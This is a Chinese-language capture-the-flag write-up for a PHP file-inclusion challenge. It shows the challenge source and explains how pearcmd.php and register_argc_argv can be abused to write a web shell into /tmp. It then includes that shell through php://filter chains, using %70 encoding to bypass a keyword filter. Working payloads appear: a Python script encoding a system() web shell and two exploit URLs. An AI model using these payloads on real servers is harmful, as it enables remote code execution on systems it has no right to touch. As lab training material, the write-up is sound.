题目
<?php ($_=$_SERVER['REQUEST_URI']) && (stripos($_,"zip") !== FALSE || stripos($_,"p:") || stripos($_,"s:")) && die("Bad hacker!");
($_=@$_GET['kaibro'].'.php') && @substr(file($_)[0],0,5) === '<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.php');

解析
pear是PHP扩展与应用的命令行工具,用于管理 PHP 包的安装、升级、配置及依赖关系,通过$_SERVER[’argv’](register_argc_argv开启时生效)传递参数。pearcmd.php是pear的核心实现文件。在文件包含中,可以利用pearcmd.php远程拉取或本地创建恶意php文件,并进行文件包含。pearcmd.php的默认路径:/usr/local/lib/php/pearcmd.php。
题解
查看环境配置,发现启用了pear和register_argc_argv,由于题目包含的文件开头需要是<?php,可以利用pearcmd.php进行文件包含。


在本地环境中通过执行【pear -c 自定义配置文件路径 -d man_dir=临时设置配置项 -s】创建自定义配置文件,其中man_dir则是恶意代码部分,通过以下代码生成man_dir的值。
from base64 import *
payload = b'<?php system($_GET["cmd"]);'
enc = b64encode(payload) # PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7
print(b64encode(b'abc>'+enc+b'<abc'))
# 运行结果:
#YWJjPlBEOXdhSEFnYzNsemRHVnRLQ1JmUjBWVVd5SmpiV1FpWFNrNzxhYmM=
以此构造第一个payload,注意url中不要有=:
?kaibro=/usr/local/lib/php/pearcmd&+-c+/tmp/shell.php+-d+man_dir=YWJjPlBEOXdhSEFnYzNsemRHVnRLQ1JmUjBWVVd5SmpiV1FpWFNrNzxhYmM+-s
其中&后是利用argv调用命令,+是作为argv的分隔符,在低权限的/tmp中创建shell.php文件。
利用php伪协议对shell.php进行处理和包含,构造第二个payload:
?kaibro=ph%70://filter/convert.base64-decode/string.strip_tags/convert.base64-decode/resource=/tmp/shell&cmd=/readflag
由于$_SERVER['REQUEST_URI']获取url不会对其进行解码,用%70代替p绕过stripos($_,"p:")。
上传第一个payload后,shell.php内容如下:
#PEAR_Config 0.9
a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:59:"YWJjPlBEOXdhSEFnYzNsemRHVnRLQ1JmUjBWVVd5SmpiV1FpWFNrNzxhYmM";}
base64-decode会忽略非base64编码部分,第一次base64-decode后,大致会变为:
#PEAR_Config 0.9
a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:59:"abc>PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7<abc";}
string.strip_tags会从字符串中剥离HTML、XML和PHP标签,过滤后得到:
PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7
第二次base64-decode后,得到最终包含的内容:
<?php system($_GET["cmd"]);
备注
这道题不太适合用pear远程下载文件的方式,pear的install命令中,远程地址需要用http://或https://开头,而不能有url编码,这就无法绕过stripos($_,"p:")和stripos($_,"s:")。
参考
WriteUp参考:
https://blog.maple3142.net/2021/11/21/balsn-ctf-2021-writeups/
pearcmd.php利用参考:
https://blog.youkuaiyun.com/rfrder/article/details/121042290
820

被折叠的 条评论
为什么被折叠?



